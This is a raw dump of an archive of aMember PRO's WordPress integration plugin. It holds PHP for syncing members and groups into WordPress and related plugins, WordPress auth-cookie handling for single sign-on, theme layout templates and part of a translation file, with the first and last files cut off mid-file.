($deleted) $this->_db->query("DELETE FROM ?_bp_groups_members WHERE user_id=? AND group_id IN (?a)", $record->pk(), $deleted); if ($added) foreach ($added as $g) { $this->_db->query(" INSERT INTO ?_bp_groups_members (user_id, group_id, user_title, date_modified, is_confirmed) VALUES (?, ?, ?, now(), ?)", $record->pk(), $g, $record->display_name, 1); } } function removeFromSimplePress(Am_Record $record) { $this->getPlugin()->getDb()->query('DELETE FROM ?_sfmembers WHERE user_id = ?', $record->pk()); $this->getPlugin()->getDb()->query('DELETE FROM ?_sfmemberships WHERE user_id = ?', $record->pk()); } function updateMetaTags(Am_Record $record, User $user) { $this->_plugin->getWP()->update_user_meta($record->pk(), 'first_name', $user->name_f); $this->_plugin->getWP()->update_user_meta($record->pk(), 'last_name', $user->name_l); $this->_plugin->getWP()->update_user_meta($record->pk(), 'nickname', (($nickname = $user->data()->get('_wordpress_nickname')) ? $nickname : $user->login)); $this->_plugin->getWP()->update_user_meta($record->pk(), 'rich_editing', 'true'); } function updateLevel(Am_Record $record, $level) { $this->_plugin->getWP()->update_user_meta($record->pk(), $this->_plugin->getConfig('prefix') . "user_level", $level); } function insertFromAmember(User $user, SavedPass $pass, $groups) { $record = parent::insertFromAmember($user, $pass, $groups); $this->updateMetaTags($record, $user); if ($this->getPlugin()->getConfig('simple_press')) $this->updateSimplePress($record); if ($this->getPlugin()->getConfig('buddy_press')) { $this->updateBuddyPressProfile($record); $this->updateBuddyPressGroups($record, $user); } if ($this->getPlugin()->getConfig('network')) { if ($this->getPlugin()->getConfig('network_create_blog')) $this->updateNetworkBlogStatus($record, $user); if ($this->getPlugin()->getConfig('network_add_to_blogs')) $this->networkAddToBlogs($record, $user); } return $record; } function updateFromAmember(Am_Record $record, User $user, $groups) { parent::updateFromAmember($record, $user, $groups); $this->updateMetaTags($record, $user); $record->updateQuick('display_name', $this->getPlugin()->getDisplayName($user)); if ($this->getPlugin()->getConfig('simple_press')) $this->updateSimplePress($record); if ($this->getPlugin()->getConfig('buddy_press')) { $this->updateBuddyPressProfile($record); $this->updateBuddyPressGroups($record, $user); } if ($this->getPlugin()->getConfig('network')) { if ($this->getPlugin()->getConfig('network_create_blog')) $this->updateNetworkBlogStatus($record, $user); if ($this->getPlugin()->getConfig('network_add_to_blogs')) $this->networkAddToBlogs($record, $user); } } function getGroups(Am_Record $record) { $groups = $this->_plugin->getWP()->get_user_meta($record->pk(), $this->_plugin->getConfig('prefix') . "capabilities"); if ($groups === false) return array(); return array_keys($groups); } function setGroups(Am_Record $record, $groups) { $old_groups = $this->_plugin->getWP()->get_user_meta($record->pk(), $this->_plugin->getConfig('prefix') . "capabilities"); $ret = array(); foreach ($groups as $k) { if ($k) $ret[$k] = 1; } $this->_plugin->getWP()->update_user_meta($record->pk(), $this->_plugin->getConfig('prefix') . "capabilities", $ret); $this->updateLevel($record, $this->getLevelFromCaps($record)); if ($this->getPlugin()->getConfig('simple_press')) $this->updateSimplePressMemberships($record, $groups); if ($this->getPlugin()->getConfig('wp_courseware') && $_u = $this->findAmember($record)) $this->updateWpCoursewareGroups($record, $_u); if ($this->getPlugin()->getConfig('coursepress') && $_u = $this->findAmember($record)) $this->updateCoursePressGroups($record, $_u); if ($this->getPlugin()->getConfig('ultimatemember') && $_u = $this->findAmember($record)) $this->updateUltimateMemberGroups($record, $_u); if ($this->getPlugin()->getConfig('buddy_press') && $_u = $this->findAmember($record)) { $this->updateBuddyPressGroups($record, $_u); } return $ret; } function level_reduction($max, $item) { if (preg_match('/^level_(10|[0-9])$/i', $item, $matches)) { $level = intval($matches[1]); return max($max, $level); } else { return $max; } } function getLevelFromCaps(Am_Record $record) { $roles = $this->_plugin->getWP()->get_roles(); $allcaps = array(); foreach ($this->getGroups($record) as $g) { $allcaps = array_merge($allcaps, $roles[$g]['capabilities']); } $level = array_reduce(array_keys($allcaps), array(&$this, 'level_reduction'), 0); return $level; } function createAmember(User $user, Am_Record $record) { parent::createAmember($user, $record); $user->name_f = $this->getPlugin()->getWP()->get_user_meta($record->pk(), 'first_name'); $user->name_l = $this->getPlugin()->getWP()->get_user_meta($record->pk(), 'last_name'); } function removeRecord(Am_Record $record) { parent::removeRecord($record); $this->_db->query('delete from ?_usermeta where user_id = ?', $record->pk()); if ($this->getPlugin()->getConfig('simple_press')) $this->removeFromSimplePress($record); } function updateNetworkBlogStatus(Am_Record $record, User $user) { $blog_id = $this->getNetworkBlogId($record); if ($this->getPlugin()->haveNetworkBlogAccess($user)) { if (!$blog_id) $this->createNetworkBlog($record, $user); else { // Blog exists already. Make sure it is not deleted. $this->_db->query('update ?_blogs set deleted = 0 where blog_id = ?', $blog_id); } } else { if ($blog_id) { $this->_db->query('update ?_blogs set deleted = 1 where blog_id = ?', $blog_id); } } } function createNetworkBlog(Am_Record $record, User $user) { $current_site = get_current_site(); $blog = array( 'domain' => $user->login, 'email' => $user->email, 'title' => sprintf("%s %s's Blog", $user->name_f, $user->name_l) ); $domain = strtolower($blog['domain']); // If not a subdomain install, make sure the domain isn't a reserved word if (!is_subdomain_install()) { $subdirectory_reserved_names = array('page', 'comments', 'blog', 'files', 'feed'); if (in_array($domain, $subdirectory_reserved_names)) throw new Am_Exception_InputError( sprintf( ___('The following words are reserved : %s'), implode(', ', $subdirectory_reserved_names) ) ); } if (is_subdomain_install()) { $newdomain = $domain . '.' . preg_replace('|^www\.|', '', $current_site->domain); $path = $current_site->path; } else { $newdomain = $current_site->domain; $path = $current_site->path . $domain . '/'; } $user_id = $record->pk(); $id = wpmu_create_blog($newdomain, $path, $blog['title'], $user_id, array('public' => 1), $current_site->id); if (!is_wp_error($id)) { if (!is_super_admin($user_id) && !get_user_option('primary_blog', $user_id)) update_user_option($user_id, 'primary_blog', $id, true); wpmu_welcome_notification($id, $user_id, $password, $title, array('public' => 1)); } else { throw new Am_Exception_InputError($id->get_error_message()); } } function getNetworkBlogId(Am_Record $record) { return $this->getPlugin()->getWP()->get_user_meta($record->pk(), 'primary_blog'); } function networkAddToBlogs(Am_Record $record, User $user) { $groups = $this->getPlugin()->calculateNetworkGroups($user); if (!$groups) return; foreach ($groups as $blog_id => $gr) { add_user_to_blog($blog_id, $record->pk(), current($gr)); } } function getWpCorsewareGroups(Am_Record $record) { return $this->_db->selectCol('SELECT course_id FROM ?_wpcw_user_courses WHERE user_id=?', $record->pk()); } function updateWpCoursewareGroups(Am_Record $record, User $user) { $oldGroups = $this->getWpCorsewareGroups($record); $newGroups = $this->getPlugin()->calculateWpCoursewareGroups($user); $added = array_unique(array_diff($newGroups, $oldGroups)); $deleted = array_unique(array_diff($oldGroups, $newGroups)); if ($deleted) $this->_db->query("DELETE FROM ?_wpcw_user_courses WHERE user_id=? AND course_id IN (?a)", $record->pk(), $deleted); if ($added) foreach ($added as $g) { $this->_db->query(" INSERT INTO ?_wpcw_user_courses (user_id, course_id) VALUES (?, ?)", $record->pk(), $g); } } function getCoursePressGroups(Am_Record $record) { $courses = array(); foreach($this->_db->selectPage($total, "select meta_key, meta_value from ?_usermeta where user_id=?", $record->pk()) as $rec) { if(preg_match('/enrolled_course_date_(\d+)/', $rec['meta_key'], $regs)) $courses[$regs[1]]['enrolled'] = $rec['meta_value']; if(preg_match('/withdrawed_course_date_(\d+)/', $rec['meta_key'], $regs)) $courses[$regs[1]]['withdrawed'] = $rec['meta_value']; } return array_keys(array_filter($courses, function($value){ return @$value['enrolled']>@$value['withdrawed']; })); } function updateCoursePressGroups(Am_Record $record, $user) { $old_groups = $this->getCoursePressGroups($record); $new_groups = $this->getPlugin()->calculateCoursePressGroups($user); $added = array_unique(array_diff($new_groups, $old_groups)); $deleted = array_unique(array_diff($old_groups, $new_groups)); if($deleted) { foreach($deleted as $cid) { $cid = intval($cid); $this->_db->query("delete from ?_usermeta where user_id=? and meta_key in (?a)", $record->pk(), array('enrolled_course_date_'.$cid, 'enrolled_course_class_'.$cid, 'enrolled_course_group_'.$cid)); $this->getPlugin()->getWp()->update_user_meta($record->pk(), 'withdrawed_course_date_'.$cid, $this->getDi()->sqlDateTime); } } if($added){ foreach($added as $cid){ $cid = intval($cid); $this->_db->query("delete from ?_usermeta where user_id=? and meta_key =?", $record->pk(), 'withdrawed_course_date_'.$cid); $this->getPlugin()->getWp()->update_user_meta($record->pk(), 'enrolled_course_date_'.$cid, $this->getDi()->sqlDateTime); $this->getPlugin()->getWp()->update_user_meta($record->pk(), 'enrolled_course_class_'.$cid, ''); $this->getPlugin()->getWp()->update_user_meta($record->pk(), 'enrolled_course_group_'.$cid, ''); } } } function updateUltimateMemberGroups($record, $user){ $this->getPlugin()->getWP()->update_user_meta($record->pk(), 'role', $gr = $this->getPlugin()->calculateUltimateMemberGroups($user)); $this->_db->query("delete from ?_options where option_name=?", 'um_cache_userdata_'.$record->pk()); } } }PK\d&protect/wordpress/default/layout.phtmlnu[plugins_protect->get('wordpress')->startLayout($this, $title,true); get_header(); ?>
PK\VVprotect/wordpress/bricks.phpnu[addText('_wordpress_nickname') ->setLabel($this->___('Nickname')) ->addRule('required'); } function getName() { return 'Wordpress Nickname'; } function isAcceptableForForm(\Am_Form_Bricked $form) { return $form instanceof Am_Form_Profile; } } class Am_Form_Brick_WordpressDisplay extends Am_Form_Brick{ protected $hideIfLoggedInPossible = self::HIDE_DONT; protected $labels = array( 'Display name publicly as' ); function getName() { return 'Wordpress Display name publicly as'; } public function insertBrick(\HTML_QuickForm2_Container $form) { $user = Am_Di::getInstance()->auth->getUser(); $options = array_filter(array( $user->login, $user->name_f, $user->name_l, $user->data()->get('_wordpress_nickname'), $user->name_f.' '.$user->name_l, $user->name_l.' '.$user->name_f, )); $form->addSelect('_wordpress_display') ->setLabel($this->___('Display name publicly as')) ->loadOptions(array_combine($options, $options)); } function isAcceptableForForm(\Am_Form_Bricked $form) { return $form instanceof Am_Form_Profile; } }PK\~-protect/wordpress/amember.phpnu[_script('_content.phtml'); ?> PK\6tY-protect/wordpress/twentyfourteen/layout.phtmlnu[plugins_protect->get('wordpress')->startLayout($this, $title,true); get_header(); ?>
plugins_protect->get('wordpress')->startLayout($this, $title,true); $blog_page = ''; global $design_options, $site_options, $option_key, $pt_layout_setup; $options = array_merge( $design_options, $site_options ); foreach ( $options as $value ) { $$value['id'] = $value['value']; } $blog_page = ( $blog_page == 'yes' ) ? 'yes' : ''; pt_document_open(); if ( $pt_layout_setup['header'] == 'fluid' ) { if ( $pt_layout_setup['topnavpos'] == 'beforeheader' ) { pt_before_header( $pt_layout_setup['header'] ); } pt_header( $pt_layout_setup['header'] ); if ( $pt_layout_setup['topnavpos'] == 'afterheader' ) { pt_before_header( $pt_layout_setup['header'] ); } pt_after_header( $pt_layout_setup['header'] ); } echo '
' . "\n"; if ( $pt_layout_setup['header'] == 'fixed' ) { if ( $pt_layout_setup['topnavpos'] == 'beforeheader' ) { pt_before_header( $pt_layout_setup['header'] ); } pt_header( $pt_layout_setup['header'] ); if ( $pt_layout_setup['topnavpos'] == 'afterheader' ) { pt_before_header( $pt_layout_setup['header'] ); } pt_after_header( $pt_layout_setup['header'] ); } echo '
'; if ( is_home() && $pt_media_type == 'feature3' || $blog_page == 'yes' && $pt_media_type == 'feature3' ) { pt_media_box(); } include dirname(__FILE__)."/../amember.php"; echo '
' . "\n"; echo '
'; if ( $pt_layout_setup['footer'] == 'fixed' ) { pt_bottom_widgets( $pt_layout_setup['footer'] ); pt_footer( $pt_layout_setup['footer'] ); } echo '
'; if ( $pt_layout_setup['footer'] == 'fluid' ) { pt_bottom_widgets( $pt_layout_setup['footer'] ); pt_footer( $pt_layout_setup['footer'] ); } pt_document_close(); ?> PK\Y$protect/wordpress/orion/layout.phtmlnu[ PK\$protect/wordpress/Karma/layout.phtmlnu[plugins_protect->get('wordpress')->startLayout($this, $title,true); get_header(); ?>
PK\z44protect/wordpress/api.phpnu[ 'aMember Active', 'amember_expired'=> 'aMember Expired'); protected $COOKIEHASH; protected $AUTH_COOKIE; protected $SECURE_AUTH_COOKIE; protected $LOGGED_IN_COOKIE; protected $COOKIE_PATH; protected $SITECOOKIEPATH; protected $PLUGINS_COOKIE_PATH; protected $ADMIN_COOKIE_PATH; function __construct(Am_Protect_Databased $plugin) { $this->_plugin = $plugin; $this->_role_key = $this->_plugin->getConfig('prefix')."user_roles"; $this->COOKIEHASH = ($siteurl = $this->wp_url_filter(defined('WP_SITEURL') ? WP_SITEURL : $this->get_option('siteurl'))) ? md5($siteurl) : ''; $this->AUTH_COOKIE = 'wordpress_'.$this->COOKIEHASH; $this->SECURE_AUTH_COOKIE = 'wordpress_sec_'.$this->COOKIEHASH; $this->LOGGED_IN_COOKIE = 'wordpress_logged_in_'.$this->COOKIEHASH; $this->COOKIE_PATH = preg_replace('|https?://[^/]+|i', '', rtrim($this->get_option('home'), '/') . '/' ); $this->SITECOOKIEPATH = preg_replace('|https?://[^/]+|i', '', rtrim($this->get_option('siteurl'), '/') . '/' ); $this->ADMIN_COOKIE_PATH = $this->SITECOOKIEPATH.'wp-admin'; $this->PLUGINS_COOKIE_PATH = $this->SITECOOKIEPATH."wp-content/plugins"; } function getVersion(){ return $this->getPlugin()->getConfig('version', Am_Protect_Wordpress::DEFAULT_VERSION); } function wp_url_filter($url) { return preg_replace('|\/$|i', "", $url); } function getPlugin(){ return $this->_plugin; } function getDb(){ return $this->getPlugin()->getDb(); } function get_alloptions(){ throw new Am_Exception("Deprecated!"); } function get_option_cache($name){ if(!array_key_exists($name, $this->_options)){ $r = $this->getDb()->selectRow("select * from ?_options where autoload = 'yes' and option_name=?", $name); if(!$r) return false; if($this->is_serialized($r['option_value'])){ $this->_options[$r['option_name']] = unserialize($r['option_value']); }else{ $this->_options[$r['option_name']] = $r['option_value']; } } return @$this->_options[$name]; } function get_option($name){ return $this->get_option_cache($name); } function update_option($name, $value){ $name = trim($name); if(!$name) return false; $old_value = $this->get_option_cache($name); if($old_value===$value) return false; if($old_value===false) return $this->add_option($name, $value); $this->_options[$name] = $value; $value = $this->maybe_serialize($value); $this->getDb()->query("update ?_options set option_value=? where option_name=?", $value, $name); } function maybe_serialize( $data ) { if ( is_array( $data ) || is_object( $data ) ) return serialize( $data ); if ( $this->is_serialized( $data ) ) return serialize( $data ); return $data; } function add_option($name, $value){ $this->_options[$name] = $value; $value = $this->maybe_serialize($value); $this->getDb()->query("insert into ?_options (option_name, option_value, autoload) values (?,?,?)", $name, $value, 'yes'); } function get_roles(){ $roles = $this->get_option($this->_role_key); foreach($this->_amember_roles as $r=>$n){ if(!array_key_exists($r, $roles)){ $this->add_role($r, $n, array('read'=>1, 'level_0'=>1)); } } return $roles; } function add_role($role, $name, $caps){ $roles = $this->get_option($this->_role_key); $roles[$role] = array('name'=>$name, 'capabilities' =>$caps); $this->update_option($this->_role_key, $roles); } function get_user_meta($user_id, $key){ if($user_id <= 0) return false; $meta = $this->getDb()->selectRow("select * from ?_usermeta where user_id=? and meta_key=?", $user_id, $key); if(!array_key_exists('umeta_id', $meta) || ($meta['umeta_id']<=0)) return false; return $this->maybe_unserialize( $meta['meta_value']); } function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = ''){ if($user_id <=0) return false ; if(!$meta_key) return false; $old_value = $this->get_user_meta($user_id, $meta_key); if($old_value === false){ $this->getDb()->query("insert into ?_usermeta (user_id, meta_key, meta_value) values (?, ?, ?)", $user_id, $meta_key, $this->maybe_serialize($meta_value)); }else{ $this->getDb()->query("update ?_usermeta set meta_value=? where user_id=? and meta_key=?", $this->maybe_serialize($meta_value), $user_id, $meta_key); } } function maybe_unserialize( $original ) { if ( $this->is_serialized( $original ) ) return @unserialize( $original ); return $original; } function is_serialized($str){ if($str === 'b:0;') return true; $data = @unserialize($str); if ($data !== false) { return true; } else { return false; } } function wp_set_auth_cookie($user_id, $remember = false, $secure = '', Am_Record $user=null) { if ($remember) { $expiration = time() + Am_Di::getInstance()->config->get('protect.php_include.remember_period', 60) * 3600 * 24; $expire= $expiration + 12 * 3600; } else { $expiration = time()+172800; $expire= 0; } if (!$secure ) $secure = $this->is_ssl(); if($secure){ $cookie_name = $this->SECURE_AUTH_COOKIE; $scheme = 'secure_auth'; }else{ $cookie_name = $this->AUTH_COOKIE; $scheme = 'auth'; } $auth_cookie = $this->wp_generate_auth_cookie($user->pk(), $expiration, $scheme,$user); $logged_in_cookie = $this->wp_generate_auth_cookie($user->pk(), $expiration, 'logged_in',$user); $cookie_domain = @$_SERVER['HTTP_HOST']; Am_Cookie::set($cookie_name, $auth_cookie, $expire, $this->PLUGINS_COOKIE_PATH, $cookie_domain, $secure); Am_Cookie::set($cookie_name, $auth_cookie, $expire, $this->ADMIN_COOKIE_PATH, $cookie_domain, $secure); Am_Cookie::set($this->LOGGED_IN_COOKIE,$logged_in_cookie,$expire,$this->COOKIE_PATH, $cookie_domain); if ( $this->COOKIE_PATH != $this->SITECOOKIEPATH ) Am_Cookie::set($this->LOGGED_IN_COOKIE,$logged_in_cookie,$expire,$this->SITECOOKIEPATH, $cookie_domain, $secure); } function wp_hash($data, $scheme = 'auth') { $salt = $this->wp_salt($scheme); return hash_hmac('md5', $data, $salt); } function wp_salt($scheme){ switch($scheme){ case 'auth' : $secret_key = $this->getPlugin()->getConfig('auth_key'); $salt = $this->getPlugin()->getConfig('auth_salt'); break; case 'secure_auth' : $secret_key = $this->getPlugin()->getConfig('secure_auth_key'); $salt = $this->getPlugin()->getConfig('secure_auth_salt'); break; case 'logged_in' : $secret_key = $this->getPlugin()->getConfig('logged_in_key'); $salt = $this->getPlugin()->getConfig('logged_in_salt'); break; default: throw new Am_Exception(sprintf("Unknown scheme [%s]", $scheme)); } return $secret_key . $salt; } function wp_generate_auth_cookie($user_id, $expiration, $scheme = 'auth', Am_Record $user=null){ $pass_frag = substr($user->user_pass, 8, 4); switch($this->getVersion()){ case 4 : $token = $this->createSessionToken($user_id, $expiration); $key = $this->wp_hash($user->user_login . '|' . $pass_frag . '|' . $expiration .'|'.$token, $scheme); $hash = hash_hmac( 'sha256', $user->user_login . '|' . $expiration . '|' . $token, $key ); $cookie = $user->user_login . '|' . $expiration . '|' . $token . '|' . $hash; break; default: $key = $this->wp_hash($user->user_login . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $user->user_login . '|' . $expiration, $key); $cookie = $user->user_login . '|' . $expiration . '|' . $hash; } return $cookie; } function getSessions($user_id){ $sessions = $this->get_user_meta($user_id, 'session_tokens'); if(!is_array($sessions)) return array(); return array_filter($sessions, function($value){ return $value >time(); }); } function createSessionToken($user_id,$expiration){ $sessions = $this->getSessions($user_id); $token = $this->getPlugin()->getDi()->security->randomString(43); $verifier = hash('sha256', $token); $sessions[$verifier] = $expiration; $this->update_user_meta($user_id, 'session_tokens', $sessions); return $token; } function wp_clear_auth_cookie(){ $cookie_domain = @$_SERVER['HTTP_HOST']; Am_Cookie::set($this->AUTH_COOKIE, ' ', time() - 31536000, $this->ADMIN_COOKIE_PATH,$cookie_domain); Am_Cookie::set($this->SECURE_AUTH_COOKIE, ' ', time() - 31536000, $this->ADMIN_COOKIE_PATH,$cookie_domain); Am_Cookie::set($this->AUTH_COOKIE, ' ', time() - 31536000, $this->PLUGINS_COOKIE_PATH,$cookie_domain); Am_Cookie::set($this->SECURE_AUTH_COOKIE, ' ', time() - 31536000, $this->PLUGINS_COOKIE_PATH,$cookie_domain); Am_Cookie::set($this->LOGGED_IN_COOKIE, ' ', time() - 31536000, $this->COOKIE_PATH,$cookie_domain); Am_Cookie::set($this->LOGGED_IN_COOKIE, ' ', time() - 31536000, $this->SITECOOKIEPATH,$cookie_domain); // Old cookies Am_Cookie::set($this->AUTH_COOKIE, ' ', time() - 31536000, $this->COOKIE_PATH,$cookie_domain); Am_Cookie::set($this->AUTH_COOKIE, ' ', time() - 31536000, $this->SITECOOKIEPATH,$cookie_domain); Am_Cookie::set($this->SECURE_AUTH_COOKIE, ' ', time() - 31536000, $this->COOKIE_PATH,$cookie_domain); Am_Cookie::set($this->SECURE_AUTH_COOKIE, ' ', time() - 31536000, $this->SITECOOKIEPATH,$cookie_domain); } function wp_validate_auth_cookie($cookie = '', $scheme = ''){ if ( ! $cookie = $this->wp_parse_auth_cookie($cookie, $scheme) ) return false; if($cookie['expiration']getDb()->selectRow("select * from ?_users where user_login = ?", $cookie['username']); if(!$user) return false; $pass_frag = substr($user['user_pass'], 8, 4); $scheme = $cookie['scheme']; switch($this->getVersion()){ case 4: $key = $this->wp_hash($cookie['username'] . '|'.$pass_frag . '|' . $cookie['expiration'] .'|'.$cookie['token'], $scheme); $hash = hash_hmac('sha256', $cookie['username'] . '|' . $cookie['expiration'].'|'.$cookie['token'], $key); break; default: $key = $this->wp_hash($cookie['username'] . $pass_frag . '|' . $cookie['expiration'], $scheme); $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key); break; } if ( $cookie['hmac'] != $hash ) { return false; } return $user['ID']; } function wp_parse_auth_cookie($cookie = '', $scheme = '') { if ( empty($cookie) ) { switch ($scheme){ case 'auth': $cookie_name = $this->AUTH_COOKIE; break; case 'secure_auth': $cookie_name = $this->SECURE_AUTH_COOKIE; break; case "logged_in": $cookie_name = $this->LOGGED_IN_COOKIE; break; default: if ( $this->is_ssl() ) { $cookie_name = $this->SECURE_AUTH_COOKIE; $scheme = 'secure_auth'; } else { $cookie_name = $this->AUTH_COOKIE; $scheme = 'auth'; } } if ( empty($_COOKIE[$cookie_name]) ) return false; $cookie = $_COOKIE[$cookie_name]; } $cookie_elements = explode('|', $cookie); switch($this->getVersion()){ case 4 : if ( count( $cookie_elements ) !== 4 ) { return false; } list( $username, $expiration, $token, $hmac ) = $cookie_elements; return compact( 'username', 'expiration', 'token', 'hmac', 'scheme' ); break; default: if ( count($cookie_elements) != 3 ) return false; list($username, $expiration, $hmac) = $cookie_elements; return compact('username', 'expiration', 'hmac', 'scheme'); break; } } function is_ssl() { if ( isset($_SERVER['HTTPS']) ) { if ( 'on' == strtolower($_SERVER['HTTPS']) ) return true; if ( '1' == $_SERVER['HTTPS'] ) return true; } elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) { return true; } return false; } function getLoggedInCookie(){ return $this->LOGGED_IN_COOKIE; } } } ?>PK\ ى%protect/wordpress/thesis/layout.phtmlnu[plugins_protect->get('wordpress')->startLayout($this, $title,true); add_filter('thesis_custom_loop', function (){return 'am_thesis_loop';}); function am_thesis_loop(){ print $GLOBALS['AM_THESIS_PAGE_CONTENT']; } ob_start(); ?>
plugins_protect->get('wordpress')->startLayout($this, $title,true); global $mysite; get_header(); include dirname(__FILE__)."/../amember.php"; ?>
PK\] xxprotect/wordpress/network.phpnu[parent_plugin = $plugin; parent::__construct($di, $config); } function setParentPlugin(Am_Protect_Wordpress $plugin) { $this->parent_plugin = $plugin; } /** * @return Am_Protect_Wordpress $plugin */ function getParentPlugin() { return $this->parent_plugin; } public function getPasswordFormat() { return SavedPassTable::PASSWORD_PHPASS; } function getAvailableUserGroups() { return $this->getParentPlugin()->getAvailableUserGroups(); } function onSetupForms(Am_Event_SetupForms $event) { // Do nothing; } function getBlogs() { $options = array('' => '-- Select Blog --'); foreach ($this->getParentPlugin()->_db->selectPage($total, " SELECT blog_id, concat(domain, path) as title FROM ?_blogs where blog_id <> ? and deleted <>1", BLOG_ID_CURRENT_SITE) as $r) { $options[$r['blog_id']] = $r['title']; } return $options; } function getIntegrationFormElements(HTML_QuickForm2_Container $container) { $container->addSelect('blog_id', '', array('options' => $this->getBlogs())) ->setLabel("Blog where user should be added\n" . 'By default user will be added to main blog with the same permissions'); $groups = $this->getParentPlugin()->getManagedUserGroups(); $options = array(); foreach ($groups as $g) $options[$g->getId()] = $g->getTitle(); $container ->addSelect('gr', array(), array('options' => $options)) ->setLabel($this->getTitle() . ' usergroup'); parent::getIntegrationFormElements($container); } }PK\q1sFtt'protect/wordpress/catalyst/layout.phtmlnu[plugins_protect->get('wordpress')->startLayout($this, $title,true); global $catalyst_layout_id, $catalyst_child_home; catalyst_hook_widget_areas( $catalyst_layout_id ); catalyst_hook_hook_boxes( $catalyst_layout_id ); get_header(); include dirname(__FILE__)."/../amember.php"; get_footer(); //get_footer(); PK\dIi::Xprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/languages/amember4.potnu[# Copyright (C) 2010 aMember PRO v4 Integration Plugin for Wordpress # This file is distributed under the same license as the aMember PRO v4 Integration Plugin for Wordpress package. msgid "" msgstr "" "Project-Id-Version: aMember PRO v4 Integration Plugin for Wordpress 0.1\n" "Report-Msgid-Bugs-To: support@cgi-central.net\n" "POT-Creation-Date: 2011-12-26 11:41:25+00:00\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "PO-Revision-Date: 2010-MO-DA HO:MI+ZONE\n" "Last-Translator: Alexander Ivanoff \n" "Language-Team: Alexander Ivanoff \n" #: views/widget_after_login.phtml:2 msgid "Welcome" msgstr "" #: views/errormessages.phtml:2 msgid "These error messages can be used in shortcodes later." msgstr "" #: views/errormessages.phtml:3 msgid "Use something simple and unique for error message \"name\"" msgstr "" #: views/errormessages.phtml:10 msgid "pick" msgstr "" #: views/errormessages.phtml:12 views/styles.phtml:4 msgid "edit" msgstr "" #: views/errormessages.phtml:12 msgid "delete" msgstr "" #: views/errormessages.phtml:27 msgid "Add new error message" msgstr "" #: views/errormessages.phtml:34 msgid "Error Template Name" msgstr "" #: views/errormessages.phtml:37 msgid "Error Template Body" msgstr "" #: views/shortcode_am4user.phtml:1 msgid "" "This shortcode will output information about logged in user. Can be used " "without any parameters (will output user's full name then)." msgstr "" #: views/bulk_protection.phtml:3 msgid "Remove protection from selected posts" msgstr "" #: views/shortcode_am4guest.phtml:1 msgid "" "Block within [am4guest] tags will be displayed only for guest users(user's " "who is not logged in)" msgstr "" #: views/shortcode_am4guest.phtml:2 msgid "" "If you specify also notactive attribute, text will be displayed for users " "who is logged in but is not active in aMember." msgstr "" #: views/shortcode_am4guest.phtml:3 views/shortcode_am4aff.phtml:2 msgid "Usage Example" msgstr "" #: views/shortcode_am4guest.phtml:4 msgid "Welcome guest user! Please login here:" msgstr "" #: views/shortcode_am4info.phtml:1 msgid "Output system information like signup url, login url, etc..." msgstr "" #: views/shortcode_am4info.phtml:2 msgid "" "If title parameter will be set, HTML link will be printed instead of url" msgstr "" #: views/protection.phtml:4 msgid "Protection enabled" msgstr "" #: views/protection.phtml:13 msgid "Access Permissions" msgstr "" #: views/protection.phtml:17 msgid "" "Actions for post/page (when unauthorized user or guest try to access " "protected post/page):" msgstr "" #: views/protection.phtml:21 views/protection.phtml:55 #: views/protection.phtml:78 views/category.phtml:9 views/category.phtml:35 msgid "Action for" msgstr "" #: views/protection.phtml:24 msgid "Hide post completly" msgstr "" #: views/protection.phtml:25 views/category.phtml:12 msgid "Redirect to page:" msgstr "" #: views/protection.phtml:31 views/category.phtml:18 msgid "Redirect to url:" msgstr "" #: views/protection.phtml:35 views/category.phtml:22 msgid "Redirect to login page" msgstr "" #: views/protection.phtml:35 views/category.phtml:22 msgid "Redirect to membership renewal page" msgstr "" #: views/protection.phtml:36 msgid "Show this error message instead of post content:" msgstr "" #: views/protection.phtml:48 msgid "Archive / Search protection" msgstr "" #: views/protection.phtml:49 msgid "" "What should happen when Wordress display post in Archive or when visitor " "use Search." msgstr "" #: views/protection.phtml:58 msgid "Exclude post/page from search results" msgstr "" #: views/protection.phtml:59 msgid "" "Show post/page title and this error message instead of post/page content:" msgstr "" #: views/protection.phtml:70 msgid "Menu Item Protection for Post / Page Link" msgstr "" #: views/protection.phtml:71 msgid "" "What should happen when link to Page / Post will be placed into WordPress " "Custom Menu:" msgstr "" #: views/protection.phtml:82 msgid "Exclude page / post link from menu" msgstr "" #: views/protection.phtml:83 views/category.phtml:38 msgid "Show link even if" msgstr "" #: views/protection.phtml:83 msgid "do not have access to page / post" msgstr "" #: views/protection.phtml:94 msgid "Update" msgstr "" #: views/settings.phtml:3 msgid "aMember Path" msgstr "" #: views/settings.phtml:5 msgid "Path where you have aMember installed" msgstr "" #: views/settings.phtml:10 msgid "aMember Root URL" msgstr "" #: views/settings.phtml:15 msgid "Protect whole blog" msgstr "" #: views/page_protection.phtml:3 msgid "Exclude page from menus" msgstr "" #: views/page_protection.phtml:3 msgid "" "Page will not be protected and still will be accessible through direct link, " "but page title will be excluded from theme-built menus. This has no effect " "on the WordPress Custom Menu utility." msgstr "" #: views/widget_protection.phtml:2 msgid "Show widget when:" msgstr "" #: views/widget_protection.phtml:3 msgid "User is not logged in" msgstr "" #: views/widget_protection.phtml:4 views/shortcode_am4show.phtml:4 msgid "User do not have subscriptions:" msgstr "" #: views/widget_protection.phtml:5 views/shortcode_am4show.phtml:5 msgid "Select Products that user should not have" msgstr "" #: views/widget_protection.phtml:7 views/shortcode_am4show.phtml:7 msgid "User have subscriptions:" msgstr "" #: views/widget_protection.phtml:8 views/shortcode_am4show.phtml:8 msgid "Select Products that user should have" msgstr "" #: views/shortcode_am4aff.phtml:1 msgid "Block within [am4aff] tags will be displayed only for affiliates" msgstr "" #: views/shortcode_am4aff.phtml:3 msgid "Welcome affiliate! " msgstr "" #: views/category.phtml:6 msgid "" "Actions for category listing (when unauthorized user or guest try to access " "protected category):" msgstr "" #: views/category.phtml:11 msgid "Show post headers" msgstr "" #: views/category.phtml:29 msgid "Menu Item Protection for Category Link" msgstr "" #: views/category.phtml:30 msgid "" "What should happen when link to Category will be placed into WordPress " "Custom Menu:" msgstr "" #: views/category.phtml:37 msgid "Exclude category link from menu" msgstr "" #: views/category.phtml:38 msgid "do not have access to category" msgstr "" #: views/shortcode_am4show.phtml:1 msgid "Build protection shortcode:" msgstr "" #: 